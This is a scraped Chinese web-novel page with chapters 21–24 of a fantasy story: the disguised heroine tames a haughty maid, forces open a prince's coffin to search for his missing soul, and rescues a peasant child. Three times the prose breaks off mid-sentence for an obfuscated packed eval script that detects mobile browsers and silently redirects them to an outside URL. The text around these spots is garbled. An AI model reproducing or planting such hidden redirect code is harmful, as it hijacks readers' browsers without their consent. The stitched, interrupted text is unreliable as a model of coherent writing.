“这个......”严嬷嬷不敢点头,担心把那丫头还来,主仆二人有了伴,到时候想着出逃,园子里又要大忙一场。 这老奴才支支吾吾的样子,妄一顿时不爽,猛地一拍桌子,大声斥责:“国主赐给我成婚的宅子,都成你们的地盘了。我一举一动都在你们眼皮子底下,就算有那小丫鬟在,我能避开你们,长了翅膀翻过这堵高墙不成?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963689|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这动静将嬷嬷吓了一跳,小妮子鬼上身,说话一惊一乍的。但她说得也没错,琳琅园牢不可破。 想到这里,嬷嬷赶紧给新夫人赔不是,说那小丫头是陪嫁来的,自然要继续伺候的。 严嬷嬷发话,下人把五花大绑的水央押进来,扔在地上。 水央双眼通红,嘴被塞了布团,泪水挂在脸上,还不忘瞪人。 瞪就瞪吧,又不能瞪下来一块肉。严嬷嬷掖了掖鼻子,差事完成,她就没久留的道理。现下时辰尚早,与颦夫人也未起床,她率领下人出去后,盘算着再去睡个回笼觉。 人乌泱泱撤退,门也贴心地给她们关好。 妄一帮水央松绑,拿开那块堵嘴的布团,马上她就后悔了。 “水央”的名字不知谁取的,确实是水做的,嘴上没了阻碍,丫鬟便开始嚎啕大哭。 “小姐,她们太欺负人了,我们回将军府吧,告诉老爷和夫人,让他们为你做主!” 妄一心道事情要是这么简单就好了,与颦夫人人多势众,在这园子里,看得见的和看不不见的,不知有多少双眼睛盯着。 “别想这些有的没的,你只管跟着我,其他的你不用管。且不说别的,先看你眼泪水哗哗的,是精力太足了么?”妄一将堵嘴的抹布扔她手上,让她擦擦泪。 “你嚎了一晚上吧?先去休息吧。我若要走,没人困得住我。” 她语气肯定,水央却噙着泪水,想继续说。 妄一怕再听她哭哭啼啼,忙把人推出屋,并再次关上门,耳朵得到清净。 屋里依旧满地狼藉,不难看出一天前它彩绸高挂,囍字贴窗的喜庆样子。这可能是她这段时间的栖身之地。 床侧一排书架,上面的书被码得整整齐齐,不是诗歌雅集,就是兵法策论。 妄一对英年早逝的公子没有过多了解,但从别人的视角来看,“体弱多病”是他在戊斯的印象。 真是可怜,阳世十几年光阴,匆匆一过化为虚无,徒留旧亲遗世自哀。 司命老爷没吐露余菀意正确的人生走向,妄一就在她最近接触的人里找嫌疑对象。 有能力搅乱天书轨迹者,绝不会是普通凡人。 与颦夫人醒来已是正午,虽昨夜闹得很不愉快,但得知余小姐答应了的好消息,脸色稍缓几分,挥挥手吩咐下人,吃穿用度就按新夫人的度。 是以,水央提着食盒再次敲响新房的门。 妄一在桌案用笔墨整理思绪,听闻有人,忙将纸张揉成团扔了。 水央这回没了泪珠,安静地将食盒打开,请小姐用饭。 一来一回不过半个时辰没见,妄一纳闷她现在怎么正常多了?像出去深造过一般。 她不知水央回去后独自冷静了一下,联想新房的狼藉,猜到小姐昨夜一定遭受非人的虐待,但还要故作坚强安慰她。反观水央自己,是何其的无知! 水央将饭菜放好,小姐顺应与颦夫人真乃明智之举,一桌佳肴五荤二素带一汤。 妄一本没想吃饭,她这次出来自带食果丸,吃上一粒,三天不必进食,但为了扮演“正常人”的身份,还是坐过来,看丫鬟给她盛饭。 “小姐放心,桌上的菜我事先都用银针试过毒了。” 妄一含糊地应了几声,其实试不试毒都没关系。虽说与颦夫人不是善类,但她们刚达成协议,正是需要利用余小姐的时候,是绝不会下毒害的。唯一不好的,她刚坐下没吃几口,夫人那边又派人过来了。 21. 圆来圆去不相容 这次来的不是严嬷嬷,而是园中其他婆子,听下人对她的尊称,姓“潘”。 潘婆子的态度还算恭敬,说余小姐不喜欢用园里的仆人,但初来乍到,对这儿尚不熟悉,为避免麻烦,还是送来一个丫鬟。 妄一连眼皮都没抬,心里门儿清他们打的是什么主意。派个人塞进她这儿,说好听点是服侍,难听点就是监视。 那丫鬟大约十四五的年纪,一张瓜子脸,五官稍显普通。知晓新主子在打量她,她便懒懒地说了句:“主子安好,奴才‘阿圆’,先前一直在夫人身边侍候。” 明明是个丫鬟,做派却比潘婆子还傲气几分。 妄一没多大反应,水央率先抱不平。伺候过与颦夫人又怎么样?伺候得久了,就觉得自己也是主子了吗?眼睛长得好好的,怎么半睁不睁跟得了顽疾似的? 妄一微微一笑,道:“既是夫人的好意,我便恭敬不如从命。”比起摇头推辞要费几番口舌,她还是应下来省点精力。人家要留在这儿,就留着吧,但那狐假虎威的架子实在太过招笑。 于是,她漫不经心地问:“‘阿圆’是个好名字,就是不知是哪个写法?” 那丫鬟撇了撇嘴,只觉这新寡妇无权无势,夫人派她过来监视,怎么看都是大材小用。 妄一仍旧面带微笑,伸手倒了杯清茶,可惜屋里的茶水是昨夜放着的,不能品尝,但细嗅还有一抹清香。 她托着茶底,就这么静静地等人答话。 潘婆子可不想在新房里久待,扭头扫丫鬟一眼,示意她快些回话。 小丫鬟这才给几分面子,挺了挺胸脯,道:“奴才的名字里的‘圆’是指‘圆满’。” “哦——”妄一拖长了音,笑意更深,“是个好名字。” 这还用人夸吗?阿圆本就对自己的名字颇为得意,其他奴仆被买进来时,都叫一些“阿壮”、“大翠”的粗名,后来才被改掉。而她一进来就叫阿圆,夫人还夸这名字不错,寓意团圆,借了这光,将她划到跟前做事。 可是没等她继续沾沾自喜,新妇便抿去笑意。 妄一翻脸极快,从最初的欣赏,转变成气势凛冽。她突然抡起桌上茶杯,连茶带叶,尽数泼在那丫鬟脚尖前,溅湿裤腿。 阿圆惊慌地往后退了一步,没能从震惊中回过神来。 茶水冰凉,虽没泼她身上,但也无形中打她脸。 旁边潘婆子也是作吃惊状,毕竟这丫鬟是夫人指派来的,余小姐纵然心中不爽利,怎能如此直接对待? 妄一则不急不慢道:“我这人呢谈不上心胸宽广,你可能不知道你叫‘阿圆’,而我的小名也叫‘阿圆’,这是我已故生母唯一留给我的东西,我不能接受身边有人与我共用,你方才说出口的刹那,在我看来,就是一种挑衅。” 她大方承认自己小心眼,可话里话外的语气却像是情有可原。 确实,若非立威之故,妄一才不管丫鬟叫‘阿圆’还是‘阿方’。 潘婆子愣了愣,阿圆也愣了愣,唯有水央掩饰不住心底的欢呼雀跃。 “其实吧,你叫阿猫阿狗都随你,但我不允许你用我的字。”妄一暗示人家改名。 阿圆使劲给潘婆子递眼色,哪知人家眼睛乱瞟装没看见,反正她的使命就是把人带到这里,事情办完,别的她也不管,恭敬做了个告退的姿势,急急忙忙走了,省得慢一步,下一杯茶水就该泼她脸上了。 妄一穿着素色暗纹的云锦鞋,徐徐来到丫鬟跟前。 “你是夫人赐给我的,跟了我,我必然不会亏待你。取名一事我在行啊,将军府的一草一木,你问问水央,哪个我叫不上名?”明明是轻缓的语气,却让听者生出一丝慌乱,“你放心,我不会给你改一些莺莺燕燕的名字,听着就显俗气,所以......” 阿圆暗道不妙,奈何逃脱不了。在主子的打量下,顷刻见其弯了唇角,笑得如初春的太阳。 “叫‘金条’如何?这名字不同凡响,一听就能让人感到高兴啊。” 阿圆嘴唇颤抖,头脑炸出天崩地裂的声音,她可是有头有脸的丫鬟,怎么能叫这粗鄙之名?正要让主子收回成命,又听对方抢先开口。 “你不喜欢,不改也行,我不做为难人的事。但这样一来,你与我撞了字,从今往后我必然瞧你有十分二十分的不喜。既然大家都不开心,你不如趁早回夫人那儿去吧。” 这话倒是把人拿捏了,阿圆面呈犹豫之色,她被送来前,夫人就说让她看好余小姐,现在灰溜溜地赶回去,那自己在夫人眼里就是无能。反过来,要是成功留下,那她就是主院的功臣。 心中一番较量,阿圆咬了咬牙,说:“奴才金条,多谢主子赐名。” 妄一满意地点点头,要治人有什么难的?莲烨掌门在鬼京管着几百号囚犯。其实她方才还真想不出取什么名,想到鬼京有个卖鬼面具的老头,养了只叫“金条”的猴,刮风下雨跟着出摊,常常做些滑稽动作,这才临时起意。 “好了,现在你真真正正成了我院里的人,我绝不辜负夫人,会好好重用你的。”妄一朗声保证,浑不在意会有什么报复。她转头看向屋外,道:“今儿外面艳阳高照,是冬日里难得的好天气。” 戊斯国的位置,冬季喜雨。水央也朝外看去,应声道:“是啊,小姐,连着好几天阴云蔽日,今天总算出太阳了。” “嗯,那我们别错过老天赏脸了。”妄一马上使唤起新丫鬟,指了指架上的书,“你去,把这屋里的书拿出去晒了。千万小心,这是细致活,给别人我还不放心。” 金条憋着一股火气,闷闷应下,幻想等夫人将这寡妇利用完了,必然要将她卸磨杀驴,落个凄惨下场。 妄一不知她心中所想,只催促道:“我院门槛那处光线最好,你找个竹垫,把这些书都搬出去摊上,记得每页都要晒,晒均匀点,刚好也能晒干你衣服上的茶渍。” 金条反感无比,但又只能领命。 “这些都是公子的笔墨文章,你在夫人身边侍奉必然细心,所以我想也只有你适合做了。”妄一冲她的背影说道。 金条拿书的动作一顿,轻轻“嗯”了声。 妄一看她勤劳的样子,欣慰地点点头。对付傲气的小丫鬟是在任务之外,但谁叫人家打错算盘,仗着自己在主院当过差,换了地方也想耀武扬威。与颦夫人都许余菀意主子的待遇,偏偏眼界低的下人看不清,以为她是失势的金丝笼中雀。 在屋里干坐有些无聊,妄一想在整个园子里走走,熟悉地界。 然在她要抬脚出去时,金条又马上惊叫:“主子要去哪里?”< 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妄一不在意地瞧了一眼,既然大家这么紧张,那这个地方她更是非进不可了。 她站在门口,以她的眼力,还能朦胧辨别牌位上的字。桌上堆放成山的供品,但她马上被别的东西吸引。 她欲探究竟,守卫抬手横在半空,肃穆道:“没有夫人的同意,谁也不能进。” “这话就不对了。”妄一讲起道理,“我也算这园子的主人,想看自己家长什么样,不行吗?何况里头躺的......还是我的夫君。” “不行!”守卫的态度强硬。 “怎么不行?你们怕违抗夫人的命令,难道就不怕得罪我?”妄一佯怒道,“将来我去了齐允,是会被扶正的,你们不趁现在给我留个好印象?” 守卫正眼都没瞅她。 妄一自不会泄气,左右瞄了两眼,忽然高声:“夫人,你也来了?” 守卫闻言,真着了她的道,一同往那边看去。 姜还是老的辣,妄一奸计得逞,闪身溜进。结果院中还有数十名守卫,纷纷亮出长刀,向她冲来。 与颦夫人早就给他们下达命令,凡是擅闯公子灵堂者,一律格杀勿论。可惜她漏算一件事,不知道来的是位高人。 若非套着余菀意的皮,妄一真想直接出手,何必还要假装不小心抢了谁的兵器,以及不小心误伤靠近她的人。 她躲过重重包围,奔向牌位,为降住敌人,她手举一把夺来的大刀,架在香案前,威胁道:“再靠近一步,信不信我当场就掘了牌位?” 擒贼先擒王,死了也是王。 守卫头领苦道:“余小姐何必为难我们?我们只是奉命行事!” 妄一冷笑道:“那你们又何必为难我呢?我就想见见公子,给他上柱香,明明是人之常情,却像要你们一块肉似的。” “好好好,您先别激动!是夫人不让外人擅闯,不是我们想阻挠!”头领怕她拿不稳刀,忙软下音调,“您要看就吧,我们也拦不住您了,不过小心手里的家伙,别惊扰公子的亡魂。” 考虑利弊,他们的妥协也是为保全公子魂魄安宁。 然妄一不管此举是否惊扰了亡魂,因为凌延卿的魂魄,根本不在这儿。 22. 大闹灵堂疑惑生 凌郁卿的灵堂规模占据一方小院,白幡随风轻摇,衬得那具硕大的棺木愈发肃穆。 妄一绕着硕大的棺木转了几圈,目光一寸一寸扫过。 王室棺木规制森严,外面是檀香木的,最里面则是水晶的。等遗体迁回齐允,估计还要再套个青石棺。 可是妄一站在灵堂外时,就感觉有些蹊跷。 按道理,设了灵堂又立了牌位的亡魂,是可以收到家人的供奉。可眼下,那桌上的香火,却是僵直不屈。 守卫头领在边上紧张地看着她,生怕她一个神志不清,又要闹腾起来。明明是个弱女子,可刚刚那两下躲闪和反击,看似巧合,但问题是太巧了!仿佛每个动作都精心设计。 妄一瞧了片刻,看不出端倪,就听见与颦夫人匆忙赶来的声音。 灵堂起了乱子,眼尖的下人当然要跑去通风报信。 妄一不慌不乱,悠然等人到来。 与颦夫人跑得背上全是汗,她扶在门框上,气喘吁吁。 “余菀意,你又想整什么幺蛾子?!” 她急着飞来确认情况,顾不得素日的得体。 妄一笑了笑,体贴道:“夫人,不要生气。” 不要生气?与颦夫人瞪了一眼,不经同意就闯入此地,天知道小东西安的什么好心!早上这丫头爽快答应了那桩事,说不定是为了行动自由,溜进灵堂,好让阿延的魂魄不得安息! 细思恐极的与颦夫人立刻跑到棺木前查看,确定没有任何捣乱的迹象,她才静下心来。 妄一倒是从容不迫,夫人莽莽撞撞,跑来差点崴脚,她还好心地帮扶了下。 不过这份好意没被人接受,与颦夫人厉声道:“你在自己住处不好好待着,到阿延跟前做什么?” 妄一轻声道:“其实也没什么,就是有一件事要和夫人商量。” “何事?”与颦夫人非常嫌弃她,总觉得对方不怀好意。 “别紧张,不是什么大事。”妄一继续保持温和的态度,“就是我想开棺而已。” “大胆!!!” 这得狂妄到什么地步,才敢开这个口?灵堂里凡是长了耳朵的人,都不免心惊一下。 与颦夫人的脸色更是阴云密布,心想她不该姓“余”的,该姓“胡”啊,“胡言乱语”的“胡”! “你知不知道你在说什么?”与颦夫人暴怒,指着鼻子骂道,“你在琳琅园举目无亲的,最好认清当下境况。我问你,你是不是假意应承我,为的就是方便开棺,扰得阿延不得安息?我若没有及时赶来,你就要直接叫人掀开棺椁了是不是?” “......怎么会?”妄一讶然地退后一步,“我没想这样。” 她咬了下唇,学鬼京女子柔弱委屈的模样,伤心道:“我明白自己先前行事偏激,给夫人留下了极差的印象。可您不知我心仪公子已久,实在无法接受他骤然离世的消息。好好的一个人,怎么说没就没了呢?!”妄一带了点儿哭腔,奈何挤不出一滴泪水,只得多揉几下眼睛,“夫人待公子最是真心,为此也没亏待我,甚至在力所能及之处,做足了补偿。我纵然再不懂事,都不该得寸进尺了。” 与颦夫人眨了几下眼,分不出她在逢场作戏,还是真情实意。 “这么说,你现在是真准备老实跟着我们阿延了?” 妄一点点头,做出恭顺之态来。 与颦夫人挺了挺腰,说:“哼,你要是早些想通该有多好,我本没想跟你闹得那般难堪。” 妄一低声称是,然装模作样没多久,再次触摸他人的逆鳞。 “夫人,我向您提及开棺一事,其实是迫不得已。您不清楚当晚我昏迷后经历了什么,不消一会儿,公子便托梦与我,说了好些话。” “嗯???”与颦夫人拧起眉毛,“阿延托梦给你,却不托梦给我这个姨母?” “是啊,我也觉得奇怪呢。”妄一假意天真,心底却有了主意,“或许是公子知晓我心念于他,才特意入我梦境告知吧。” 外甥逝世已有几月,与颦夫人一进灵堂就要伤心一会儿。她曾想着外甥要是托梦给她该有多好,可坐等右等,没想到让刚进门的余小姐捡去了。 “老实讲来,阿延给你托什么梦了?!” 妄一略一沉吟,缓缓道来:“梦里公子站在桥上,两端来往许多人,唯有他驻足遥望,看见我的那一刻,招招手唤我过去。” “然后呢?”与颦夫人催促道,“你挑重点讲!” “他.....”妄一声音一顿,侧过身,刻意摆出更显悲伤的姿态,“公子说,他活人世短短十几载,欠下的东西太多了。这一世不仅难全我一片情谊,又负了姨母的苦心。他还说,等过了这座桥,他要就要去投胎了。下辈子做牛做马,来报答夫人多年的养育之恩。” 临时编造的话语,却惹得与颦夫人几乎涕泪飞流。公子延卿幼年丧母,加之先天不足,不受齐允国主重视,故在王权斗争中过早出局。姨母倒不求他建功立业,只求外甥平安顺遂,得个善终。无奈老天残忍,早早将人收去。 “公子过桥前,与我另外讲了一事。”妄一趁热打铁,将话引回正题上。 “什么事?”与颦夫人拭去泪珠。 “公子在黄泉徘徊,判官说他今世早折,未还夫人恩情,需受鞭刑,方可投胎转世。”妄一抚上棺盖,神色为难,“公子自幼体弱,魂魄亦是如此。无奈之下,他便使了银钱买通行刑的鬼差,以这棺木为替身,受了三十七道打魂鞭。可现在.....棺材裂了。” “什么!裂了?”与颦夫人瞪圆眼睛,方才她赶到时就急着查看了,丝毫没发现有开裂的迹象。 “夫人,你不知晓棺外通阳,棺内连阴。既是做替身之用,裂在了里头,外面当然看不出。”妄一振振有词道,“我就是因为这,才敢扬言提‘开棺’一事。” 与颦夫人皱起眉毛,怀疑话中真假。看余家小姐那一本正经的样子,她已信了七分。 “夫人,棺材内裂实为不祥,我若没有得公子托梦,万不会拿这寻乐子。”妄一信誓旦旦地保证,“再说若我所言有假,在场众人将我拿下就是。此刻我只求夫人开棺一看,图个放心。” 妄一面色之坦诚,与颦夫人看了半天没瞧出破绽,思虑好一会儿,终究是心疼外甥占了上风,于是松口道:“你最好没有骗我!” “不敢。”妄一微笑回道。 开棺不是小事,与颦夫人还想挑个适宜的日子,但想了想,又觉得耽误不起。于是赶忙喊了八个身强力壮的下人,抖擞身躯撬开棺木。 妄一站在最近的地方,盯着他们的动作,生怕错过什么。 取出数枚棺钉,下人们“哼哧哼哧”挑开厚重的檀木棺盖,暴露出里面的水晶棺。 在这之下,有具年轻的尸体双手交叠,面覆白布,安详地躺在其中。 公子的尸身做过防腐处理,仔细瞧还能看清他手上的青色血管。而在他的身侧,放置了不少陪葬物,羊脂玛瑙碗,翡翠琉璃器......若让盗墓贼瞧见,大概要笑出声来。 再次见到外甥,与颦夫人又一阵悲痛欲绝。哭了会儿, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963691|193354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她拽着妄一质问:“你说说,裂痕在哪儿?!” 妄一盯着棺材里的人,思绪飞转。 奇了怪了,里面躺着尸体,那怎么收不到香火供奉呢? “你说啊,裂痕究竟在何处?!”与颦夫人摇着她,迫切地追问。 妄一撇嘴,她不想做缺德的事,但不做,就无法脱身。用这个理由时,她就想好退路了,凌延卿若泉下有知,应该也会谅解吧。毕竟她要开棺,是为了确认这件事。 想通后,妄一双手抚上棺沿,顺其而下,背着众人稍运内力后喊道:“摸着了,在这儿!” 话音刚落,与颦夫人狠得将其推开,换作自己俯下身,哆嗦着摸去。 外甥的灵堂是她一手操办的,所有东西都是挑了最好的。檀木棺和水晶棺的夹层中,有两指可容人窥探的缝隙。与颦夫人伸下手去,果真发现一条三寸长的细微裂痕附于檀木棺内。 “阿延,我的阿延!”她失控大喊,内心无比自责,仿佛棺木是因她而裂。 灵堂内顿时一片忙乱,与颦夫人一面哭,一面吩咐下人即刻更换棺木。 而妄一则在一片手忙脚乱中,悄然离场。 她心里满是纳闷,按与颦夫人所说,凌延卿早死了,那他该去地府了才是,亡魂只有入了鬼籍才能享受亲人的供奉。可这都死几个月了,就算地府人手不足,没及时勾魂,但也不该推迟那么久。 他的魂魄到底去了哪里?这看似和余菀意没关系,但妄一又怕忽略了什么。 徐步回到住处,金条老实地在檐下曝晒书卷,身后有水央盯着,稍有偷懒,就威胁告状。 水央快步迎接小姐,又汇报了院里的情况。 妄一无心听讲,称自己累了,让她们都下去,她要独处一会儿。 这无异于一道赦令,金条巴不得解放呢,加快速度整理东西,一溜烟便没了踪影。 小姐神情疲惫,水央也不好叽叽喳喳,忧虑地看了一眼,磨磨蹭蹭地走了。 待视野空旷清净,妄一转身进屋,关上门,默默掏出尘芳仙君所赠的那支笔。 她原以为此次人间一行,大概用不到神笔,未曾想真有它的用武之地。 妄一手执丹纹神笔,在空中一通挥舞,写好的字迹随一阵金光消失,想必已传送到尘芳仙君手中。 她只写了寥寥几字,托仙君跑一趟地府,找找凌延卿的魂魄。按阴间繁琐的流程,他不可能这么快投胎了。 不知何时才能等来回复,妄一苦苦等候,终于月上西头,她独坐灯台下,手掌传来了久违的金光。 尘芳本人喜好交谈,回传的话倒是异常简练,妄一摊开手,唯见四个字——查无此人。 妄一眉头微蹙,脑海里迅速列出两种可能:要么凌延卿的亡魂被谁扣押了,要么就是他被人打得魂飞魄散了。 当然,她更希望是第一种。 正当她百思不得其解时,忽闻窗外有轻微的脚步声。那人动作小心,若非耳力极佳者,根本无从察觉。 她收起思绪,朝外看去。檐下的灯火将某个人影投射在纱窗上,目测此人有八尺之高,且体型彪悍魁梧。 那人三更半夜不睡觉,行为鬼祟,左顾右盼好一会儿,似在确认地点一般。 妄一摩拳擦掌,想这毛贼若敢踏进屋内,就让他知道什么叫有来无回。 她注视这道身影,那人不从窗户翻进,而是溜到正门,踌躇片刻,终是抬起右手,在门上敲了两下。 一道低沉的男声透过门板传来,带着几分迟疑:“阿圆,在吗?” 23. 千里寻魂觅踪迹 妄一未有动作,目光紧盯门外晃动的影子。 那人在檐下等候片刻,见屋内灯火通明却始终无人应答,便大胆推开门缝,左眼瞄进来,正与屋内人的视线对上。 在妄一满眼震惊中,那人放缓语气,温声唤道:“阿圆,你在啊。” 他往屋里扫了一圈,不见第三个人,就直接敞开门走进来,眼神关切道:“我的女儿,你在这儿过得怎样?他们有没有亏待你?爹来了,有委屈你现在就能说!” 妄一仍在震惊中,她没想到余将军会突然上门,缓了好一会儿才出声:“你怎么来了?” “我......哦,我来看看你。”将军尴尬回应。 戊斯是有新妇回门的俗礼的,但与颦夫人有言在先,说在他们齐允,嫁出去的女儿是泼出去的水,婚后要连着几日守在夫家,所以不好放人回来。 将军因此很不放心,他想知道女儿的情况,怕她被人欺负,又无处诉苦,所以趁着夜色溜进琳琅园。 他把人一通细瞧,还好余菀意先被打肥的脸,此时已看不出伤痛。 确认女儿安好,将军心里的石头就放下了。转头问那个姓凌的呢?今天才成亲第二日,怎不陪妻子? “他......”当然是在躺板咯。可惜妄一不能直说。 但将军会问这话,也让她确定来的路上,他没经过灵堂。虽然她现在能将与颦夫人的恶行全盘揭露,以将军的爱女心切,定会掀翻整座园子。但,这不是妄一想要的。 凌延卿的魂魄尚未知道去向,她要弄清,所以要留下。 “阿圆,说啊,他去哪儿了?” 顶着将军爹灼灼目光,妄一咳嗽一声,道:“齐允送来书信,国主傍晚请他入宫,现在还没回来呢。” 将军听闻,脸上有些遗憾道:“我这次来,还想亲眼见见他。话说回来,他们齐允的规矩可真多,这不行,那不许的。对了,他......待你好吗?” “好.......挺好的。他为人体贴,和我相敬如宾。”妄一装模作样道。 “真的吗?”将军欣慰道,“我想想也是,我还在跟前呢,阿圆要是受了委屈千万别憋着,‘憋’是没有尽头的。有父亲在的一日,谁都不能给你甩脸子看,就连那与颦夫人也不能!当然,咱们也不主动挑事,毕竟嫁过来了都是想好好过日子。” 这番话令人感慨万千,妄一想着要是余菀意能听到就好了。 将军没待多久就走了,他是匆忙出来的,知道女儿安好,他就放心许多。 临别,他还说家人都挺想念她的,尽早和姨母说一声,回府住几天,最好还带凌延卿一起。 妄一含糊应声,让她回去不是难事,就算与颦夫人不同意,区区几堵墙还能困得住她?倒是凌延卿麻烦些。 送别将军离开,妄一特地告诫他别往北处院落走,那是与颦夫人住的地方。 “行,我明白。”将军是有妇之夫,有这句提醒,他会离北院远远的。 妄一目送余将军离开,虽然这个名义上的爹盛情欢迎女儿回府,但她没事是不会去的。 她不是真正的余菀意,去了面对一家子人,让她做出既开心又热情的表情,实在为难。而且最重要的是怕露出马脚,招惹不必要的是非。 目前来看,她对凌延卿身上的怪事比较感兴趣。他病逝有异,不知是否和仙子历劫扰乱有关。要不抓着这点,顺藤摸瓜查查吧。 隔日,妄一便早起去往与颦夫人住处。 夫人其实并不住北院,妄一先前是为护着灵堂,才与将军胡诌。 妄一找过去时,夫人的院里有好几个婆子围坐一起做针线。见新主子来,抬抬眼皮,并不起身行礼。 而与颦夫人穿着带绒边的袄子,坐在堂屋中央的火炉前喝汤。她不过三十多岁,素日里最是注重保养,可经了外甥离世的打击,又连着几日折腾,眼角不免纵生细纹。 “你来做什么?还有什么事吗?”她放下参汤,张口问来人。 妄一笑意浅浅,举止得体,开门见山地问公子生前去过最后一个地方是哪里? “阿延生前去了哪,与你有何重要关系?”与颦夫人神色傲然,“有什么事就直说罢,你拐弯抹角的,我还要猜忌几分。” 妄一倒喜欢她有话直说的态度,只因心有所求,语气不由软了几分。 她态度恳切道:“夫人,我想到公子生前最后去过的地方看看。” “不准去!”与颦夫人想都没想,当即拒绝。她就知道这恶女找她不是好事,指不定是为溜出园子,好逃回将军家。 被人拒绝完全在意料之内,妄一并没为此不高兴。 与颦夫人斜视她一眼,哼道:“你若思念阿延,就去灵堂拜拜他便是。只是放你出去,就怕是有去无回。” “夫人不予我信任,我应理解,只是牌位冰冷,何以容纳公子之孤魂?我就是想去他所到的地方,重新认识他。”妄一真诚道。 “余小姐才认识阿延多久,就和我卖弄‘情深意长’?”与颦夫人嘲讽道,“我虽谢你告知阿延棺木的异样,可我每次看见你,心就砰砰跳得厉害,总觉得你的温顺是装的,又或者,别有目的?” 与颦夫人的眼光何其毒辣,加之彼此没有多少信任感。出了琳琅园,余小姐后面整些幺蛾子,她不确定能否兜住。 妄一了解她小心谨慎,也没再坚持。 不能从正门走,那就走偏门吧。 最后妄一把地点从夫人嘴里套出来,说人去不了无伤大雅,那就夜里勤加思想,说不定晚上就梦到了呢? 这神神叨叨的样子,着实有些吓人。可转而一想,余小姐只要不出去,不触碰长辈的逆鳞,脚踏实地当公子夫人,她爱做什么就做什么。反正疯了残了,齐允王室都养得。 这次没跟夫人起争执,妄一抽身也干脆,回到自己屋子,等天色一黑就思量事情。 她决定要走,但又不能一走了之。与颦夫人那么宝贝外甥媳妇,妄一走也得找人做掩护。 “小姐,天气愈发冷了,白天我让金条帮您晒了被子,夜里躺下定能暖和些。”水央蹲在火盆边,添了一些碳,她有些低落道,“唉,不知我们还能不能回到将军府。” 妄一把目光锁定在丫鬟身上,笑道:“你把我屋里烧得那么热,哪里还会冷着我?那么你呢?你住处如何,也算暖和吗?” 水央道:“小姐,这都是银骨炭呢,我呀只是奴才,夜里多备几个汤婆子,也就熬过去了。” “哦,可是我用不着了。”妄一转头看向窗外。 在丫鬟的疑惑中,她缓缓说道:“我要离开一段时间,至多三四日的样子。我不在,麻烦你在我床上歇下吧。” 水央张大嘴,忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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与颦夫人派四五个随从跟着,一行人走到月牙桥,公子却凭空不见踪影。他们战战兢兢,从日出找到日落,最后实在没办法了,绕回来重聚在桥头,公子居然躺在那里昏迷不醒。 妄一这一路靠询问沿途精怪,才在天明时分走对了方向。有一蟾蜍老怪说月牙桥附近没什么东西,但想要找点人味,往前走倒有一座村庄。 根据妖精的口述,怀池村路之荒僻,穿几座树林,行至数里,难与生人相遇。 妄一的发丝带着清晨的露珠,彻夜未眠地寻路,却不觉丝毫疲惫。 公子延卿消失在桥上,再次出现也是桥上。妄一来来回回走过多遍,仍未发觉这桥有何特殊之处。 她站在原地等候一会儿,等晨间朝阳缓缓升起,虽然照在身上不觉暖和,但一派祥和的颜色,还是令人感到放松。 凌延卿失踪的那段时间究竟去了何处? 妄一在桥上没发现异样,可都走到这儿了,断没有半途而废的道理,便打算去桥的另一端看看。 然而没走多远,她就像是步入某块禁区。前方野草有人腿长,就这么一路延伸望不到头。 “呜呜呜......呜呜呜......”远处传来一女人的啜泣声。 大清早的谁在野外哭叫?但不得不承认,这声音落在妄一耳里犹如天籁。 自从走到这一带,她就没见到有精怪出没了。若真是他们,她也好逮住问问,这里究竟有什么古怪之处。 24. 仗义助人觅出路 这阵声音断断续续,似有若无。 妄一走近后,发现是一农妇坐在干草垛上,一双长满冻疮的手抱着六岁小儿着急万分。母子俩穿着洗得发白的破旧棉袄,小儿躺在怀中,眼眶发黑,唇无半点血色。 有人寻来,妇人如抓住救命稻草一般。妄一本来还有几分戒备,但目光扫过母子俩的装束,便已确定他们只是普通农户。 “真对不住啊,吓着姑娘你了,我是真没办法了啊!携孩子回趟娘家,走到这儿就开始说胡话。我生气,打了他一下,力道也不重,可我儿子他......谁想他就成这样了!”妇人目光哀切,还有些语无伦次。 妄一蹲下来扒开孩童的眼睛,伸手探了探鼻息,确认其尚在人世。 小儿年幼,稚嫩的魂魄未能牢生于体。太早赶路,想必是被晨间还未散去的阴气缠住了。 “姑娘能否救我儿子?”妇人哀求道,“咱怀池村与外头医馆相隔数里,我现在抱过去,怕是没到地方, 孩子就......” “你们是从怀池村来的?”妄一眼睛一亮。 妇人如实道:“是啊,这一带除了我们,就没别的村庄了。” 既然如此,妄一必须要救这孩子了,她让妇人把小二平放在地,然后取出随身的伏影锁,扫过孩子的双肩,又在他头顶回旋三圈,驱赶阴气。 妇人紧张地注视着,大气不敢出。妄一停下动作,不过一会儿,儿子动了动手指大哭起来。妇人见状,扑过去将儿子紧紧搂在怀里,与他抱头而泣。 母子的哭声飘荡在原野,妄一听了一会儿,见他们还不停歇,淡淡提醒:“秽气已除,切忌再用哭声将其引来。” 妇人这才注意自己光顾着激动,还没和人道谢,于是拽着孩子的手,母子俩都要给她磕头。 妄一忙摆手说:“小事一桩,不用谢!” 